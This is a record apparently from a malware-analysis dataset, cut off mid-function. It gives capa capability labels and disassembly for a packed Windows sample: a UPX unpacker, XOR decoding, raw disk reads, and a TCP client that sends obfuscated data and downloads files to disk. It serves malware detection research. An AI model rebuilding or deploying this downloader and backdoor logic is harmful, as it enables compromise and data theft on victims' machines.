joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421850
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x15000]
push edi
or ebp, 0xffffffff
jmp 0x421872
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x421879
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x421868
mov eax, 1
add ebx, ebx
jne 0x42188b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x421880
jne 0x42189c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x421880
xor ecx, ecx
sub eax, 3
jb 0x4218b0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x421922
mov ebp, eax
add ebx, ebx
jne 0x4218bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4218c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4218ec
inc ecx
add ebx, ebx
jne 0x4218d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4218cd
jne 0x4218e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4218cd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42190c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4218fd
jmp 0x42186e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42190c
add edi, ecx
jmp 0x42186e
pop esi
mov edi, esi
mov ecx, 0x663
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42192a
cmp byte [edi], 7
jne 0x42192a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42192f
lea edi, [esi + 0x1f000]
mov eax, dword [edi]
or eax, eax
je 0x4219a7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x21b78]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x21bf0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42195c
mov ecx, edi
jns 0x42198b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x21bf4]
or eax, eax
je 0x4219a1
mov dword [ebx], eax
add ebx, 4
jmp 0x421979
call dword [esi + 0x21bf8]
popal
jmp 0x40325c

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401000
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x437c20]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
xor ecx, ecx
mov word [ebp - 0x134], cx
mov dword [ebp - 0x130], 0
push 0x118
push 0
lea edx, [ebp - 0x12c]
push edx
call fcn.0041ac90
add esp, 0xc
mov dword [ebp - 0x130], 0x11c
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x401106
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x128]
mov dword [ebp - 4], edx
mov ax, word [ebp - 0x1c]
mov word [ebp - 0x134], ax
cmp dword [ebp - 8], 5
jne 0x4010b0
cmp dword [ebp - 4], 0
jne 0x4010b0
movzx ecx, word [ebp - 0x134]
cmp ecx, 4
jl 0x4010b0
mov edx, dword [ebp + 8]
mov dword [edx], 1
cmp dword [ebp - 8], 5
jne 0x4010c5
cmp dword [ebp - 4], 2
jne 0x4010c5
mov eax, dword [ebp + 8]
mov dword [eax], 2
cmp dword [ebp - 8], 5
jne 0x4010e0
cmp dword [ebp - 4], 2
jae 0x4010d7
cmp dword [ebp - 4], 1
jne 0x4010e0
mov ecx, dword [ebp + 8]
mov dword [ecx], 3
cmp dword [ebp - 8], 6
jne 0x401106
cmp dword [ebp - 4], 0
jne 0x4010f7
mov edx, dword [ebp + 8]
mov dword [edx], 4
jmp 0x401106
cmp dword [ebp - 4], 1
jne 0x401106
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.004188aa
mov esp, ebp
pop ebp
ret
Function at 0x402260
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x437c20]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.0041ac90
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x4022af
cmp dword [ebp + 0xc], 0
jne 0x4022b9
jmp 0x40238a
cmp dword [ebp + 0x10], 0
je 0x40230e
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x218], edx
mov eax, dword [ebp - 0x218]
add eax, 2
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x218]
mov dx, word [ecx]
mov word [ebp - 0x21e], dx
add dword [ebp - 0x218], 2
cmp word [ebp - 0x21e], 0
jne 0x4022d7
mov eax, dword [ebp - 0x218]
sub eax, dword [ebp - 0x21c]
sar eax, 1
mov dword [ebp - 0x224], eax
jne 0x402312
jmp 0x40238a
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 0x10]
push edx
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.004188b9
add esp, 0xc
push 0x432b24
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00418e0b
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x40235e
jmp 0x40238a
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004190fe
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call fcn.00419192
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004188aa
mov esp, ebp
pop ebp
ret
Function at 0x4023a0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x437c20]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.0041ac90
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x4023ef
cmp dword [ebp + 0xc], 0
jne 0x4023f9
jmp 0x402506
cmp dword [ebp + 0x10], 0
je 0x40244e
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x218], edx
mov eax, dword [ebp - 0x218]
add eax, 2
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x218]
mov dx, word [ecx]
mov word [ebp - 0x21e], dx
add dword [ebp - 0x218], 2
cmp word [ebp - 0x21e], 0
jne 0x402417
mov eax, dword [ebp - 0x218]
sub eax, dword [ebp - 0x21c]
sar eax, 1
mov dword [ebp - 0x224], eax
jne 0x402458
jmp 0x402506
cmp dword [0x438fa8], 3
jne 0x40248e
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x432b2c
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.004188b9
add esp, 0xc
jmp 0x4024a0
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ecx, dword [ebp + 0x10]
push ecx
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.004188b9
add esp, 0xc
push 0x432b30
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 4]
push ecx
call fcn.00418e0b
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x4024da
jmp 0x402506
mov edx, dword [ebp - 4]
push edx
push 1
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004190fe
add esp, 0x10
mov edx, dword [ebp - 4]
push edx
call fcn.00419192
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004188aa
mov esp, ebp
pop ebp
ret

Function at 0x402520
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x437c20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.0041ac90
add esp, 0xc
cmp dword [0x438fa8], 3
jne 0x402588
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x432b38
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.004188b9
add esp, 0xc
jmp 0x40259a
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x210]
push eax
push 0x432b3c
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004188aa
mov esp, ebp
pop ebp
ret
Function at 0x402850
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x437c20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.0041ac90
add esp, 0xc
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x214], 0xffffffff
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [ebp - 0x210]
sub eax, 0x41
mov dword [ebp - 0x218], eax
lea ecx, [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x218]
push edx
call fcn.00402b20
add esp, 8
mov eax, dword [ebp - 0x21c]
push eax
call fcn.00402c40
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x4028fa
xor eax, eax
jmp 0x40290d
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x214]
push edx
call fcn.004026a0
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004188aa
mov esp, ebp
pop ebp
ret
Function at 0x402920
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x40296f
jmp 0x402a57
mov dword [ebp - 8], 0xb69
mov eax, dword [ebp - 8]
push eax
call fcn.0040e470
add esp, 4
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], ecx
push 0
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
push 0
push 0
push 0x70050
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x4029ba
jmp 0x402a57
mov dword [ebp - 4], 0
jmp 0x4029cc
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x402a3a
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x89
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + eax + 0x34]
cmp edx, dword [ebp - 0xc]
jl 0x402a38
jg 0x402a04
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + eax + 0x30]
cmp edx, dword [ebp - 0x10]
jbe 0x402a38
mov eax, dword [ebp - 4]
imul eax, eax, 0x89
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + eax + 0x30]
mov dword [ebp - 0x10], edx
mov eax, dword [ecx + eax + 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x89
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + ecx + 0x38]
mov dword [ebp - 0x20], eax
mov ecx, dword [edx + ecx + 0x3c]
mov dword [ebp - 0x1c], ecx
jmp 0x4029c3
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
adc eax, dword [ebp - 0x1c]
push 0
push 0x200
push eax
push edx
call fcn.0041caa0
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], 0
je 0x402a76
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0040e47b
add esp, 4
mov dword [ebp - 0x24], 0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x402a90
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x402ac3
jmp 0x402b14
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], edx
push 0
push 0x200
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0041ca60
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x402dd0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x402dea
mov eax, dword [ebp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402e0f
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x432bc0
push 0x104
mov edx, dword [ebp + 0xc]
push edx
call fcn.004188b9
add esp, 0xc
pop ebp
ret

Function at 0x403060
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x437c20]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.0041ac90
add esp, 0xc
cmp dword [ebp + 8], 0
je 0x4030a8
cmp dword [ebp + 0xc], 0
jne 0x4030b2
jmp 0x40319a
mov dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
je 0x403125
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x218], edx
mov eax, dword [ebp - 0x218]
add eax, 2
mov dword [ebp - 0x21c], eax
mov ecx, dword [ebp - 0x218]
mov dx, word [ecx]
mov word [ebp - 0x21e], dx
add dword [ebp - 0x218], 2
cmp word [ebp - 0x21e], 0
jne 0x4030d7
mov eax, dword [ebp - 0x218]
sub eax, dword [ebp - 0x21c]
sar eax, 1
mov dword [ebp - 0x224], eax
je 0x403125
push 0x432bc8
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00418e0b
add esp, 0xc
jmp 0x403168
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x432bd0
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call fcn.004188b9
add esp, 0xc
push 0x432bec
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 4]
push eax
call fcn.00418e0b
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x403190
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004193d1
add esp, 0x10
mov ecx, dword [ebp - 4]
push ecx
call fcn.00419192
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004188aa
mov esp, ebp
pop ebp
ret
Function at 0x4031b0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x432bf4
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00418e0b
add esp, 0xc
test eax, eax
je 0x4031e4
xor eax, eax
jmp 0x4032b3
mov dword [ebp - 0x14], 0
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.004194dd
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call fcn.004196ff
add esp, 4
mov dword [ebp - 0x14], eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.004194dd
add esp, 0xc
mov edx, dword [ebp - 0x14]
add edx, dword [ebp + 0x10]
push edx
call fcn.004197bc
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004190fe
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.00419192
add esp, 4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x14]
push edx
call fcn.004032c0
add esp, 8
push 0x432bfc
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00418e0b
add esp, 0xc
test eax, eax
je 0x40327e
xor eax, eax
jmp 0x4032b3
mov edx, dword [ebp - 0x14]
add edx, dword [ebp + 0x10]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004193d1
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.00419192
add esp, 4
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x404a30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x437c20]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x430], 0
movzx eax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404c50
add esp, 8
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0
je 0x404a78
mov eax, dword [ebp - 0x430]
jmp 0x404c3b
xor edx, edx
mov word [ebp - 0x418], dx
push 0x206
push 0
lea eax, [ebp - 0x416]
push eax
call fcn.0041ac90
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.0041ac90
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
call fcn.004048a0
add esp, 4
push 0x432ca8
push 0x104
lea ecx, [ebp - 0x418]
push ecx
call fcn.004188b9
add esp, 0xc
mov byte [ebp - 0x42c], 0
xor edx, edx
mov dword [ebp - 0x42b], edx
mov dword [ebp - 0x427], edx
mov dword [ebp - 0x423], edx
mov dword [ebp - 0x41f], edx
mov word [ebp - 0x41b], dx
mov byte [ebp - 0x419], dl
mov dword [ebp - 4], 0
mov dword [ebp - 0x434], 0
jmp 0x404b2e
mov eax, dword [ebp - 0x434]
add eax, 1
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 5
jge 0x404b9d
mov ecx, dword [ebp - 0x434]
imul ecx, ecx, 0x118
movzx edx, word [ecx + 0x43bb68]
test edx, edx
jne 0x404b50
jmp 0x404b1f
lea eax, [ebp - 0x418]
push eax
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call fcn.00418936
add esp, 0xc
mov edx, dword [ebp - 0x434]
imul edx, edx, 0x118
add edx, 0x43bb68
push edx
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.004188b9
add esp, 0xc
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x404b1f
mov dword [ebp - 0x438], 0
jmp 0x404bb8
mov edx, dword [ebp - 0x438]
add edx, 1
mov dword [ebp - 0x438], edx
cmp dword [ebp - 0x438], 5
jge 0x404c00
mov eax, dword [ebp - 0x438]
imul eax, eax, 0x118
movzx ecx, word [eax + 0x43bb68]
test ecx, ecx
jne 0x404bda
jmp 0x404ba9
movzx edx, word [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x438]
imul ecx, ecx, 0x118
add ecx, 0x43bb68
push ecx
call fcn.004058b0
add esp, 0xc
jmp 0x404ba9
push 0x43c8f0
push 0x104
lea edx, [ebp - 0x418]
push edx
call fcn.004188b9
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x404c35
mov dword [ebp - 0x430], 2
mov eax, dword [ebp - 0x430]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004188aa
mov esp, ebp
pop ebp
ret
Function at 0x404ee0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c0
mov eax, dword [0x437c20]
xor eax, ebp
mov dword [ebp - 8], eax
xor eax, eax
mov word [ebp - 0x9c0], ax
push 0x7fe
push 0
lea ecx, [ebp - 0x9be]
push ecx
call fcn.0041ac90
add esp, 0xc
lea edx, [ebp - 0x9c0]
mov dword [ebp - 0x19c], edx
cmp dword [ebp + 0x14], 0
je 0x404f2d
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x19c], eax
xor ecx, ecx
mov edx, dword [ebp - 0x19c]
mov word [edx], cx
mov dword [ebp - 0x1bc], 0
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0
lea eax, [ebp - 0x198]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x404f78
xor eax, eax
jmp 0x405069
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov edx, dword [ebp + 0x10]
cmp dword [edx], 0xffffffff
jne 0x404f98
xor eax, eax
jmp 0x405069
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jne 0x404fd8
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1bc], eax
push 2
push 4
lea edx, [ebp - 0x1bc]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jne 0x404fe5
jmp 0x40503d
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x1a8], eax
mov ecx, 2
mov word [ebp - 0x1ac], cx
movzx edx, word [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1aa], ax
push 0x10
lea eax, [ebp - 0x1ac]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x405033
jmp 0x40503d
mov dword [ebp - 0x1b8], 1
cmp dword [ebp - 0x1b8], 0
jne 0x405063
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0
je 0x405063
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004188aa
mov esp, ebp
pop ebp
ret
Function at 0x4052a0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x4052d4
jmp 0x405390
mov dword [ebp - 0x18], 0
jmp 0x4052e6
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp + 0x10]
jge 0x405303
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x18]
movzx ecx, byte [eax]
not ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x18]
mov byte [edx], cl
jmp 0x4052dd
mov eax, dword [ebp + 0x10]
add eax, 7
push eax
call fcn.0040e470
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
movzx edx, word [ebp + 0x10]
add edx, 5
mov eax, dword [ebp - 0xc]
mov word [eax], dx
mov ecx, dword [ebp - 0xc]
add ecx, 2
mov edx, dword [0x439028]
mov dword [ecx], edx
mov al, byte [0x43902c]
mov byte [ecx + 4], al
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0xc]
add eax, 7
push eax
call fcn.0041f750
add esp, 0xc
mov ecx, dword [ebp + 0x10]
add ecx, 7
mov dword [ebp + 0x10], ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x405385
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
je 0x405389
jmp 0x405390
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0xc], 0
je 0x4053a8
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.0040e47b
add esp, 4
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x405bc0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.0041d140
mov eax, dword [0x437c20]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x1014], 0
push 0x432cb0
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00418e0b
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x405c0a
xor eax, eax
jmp 0x405ca1
push 0
push 4
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x405c27
xor eax, eax
jmp 0x405ca1
mov edx, dword [ebp - 0x1014]
cmp edx, dword [ebp - 0xc]
jae 0x405c81
push 0
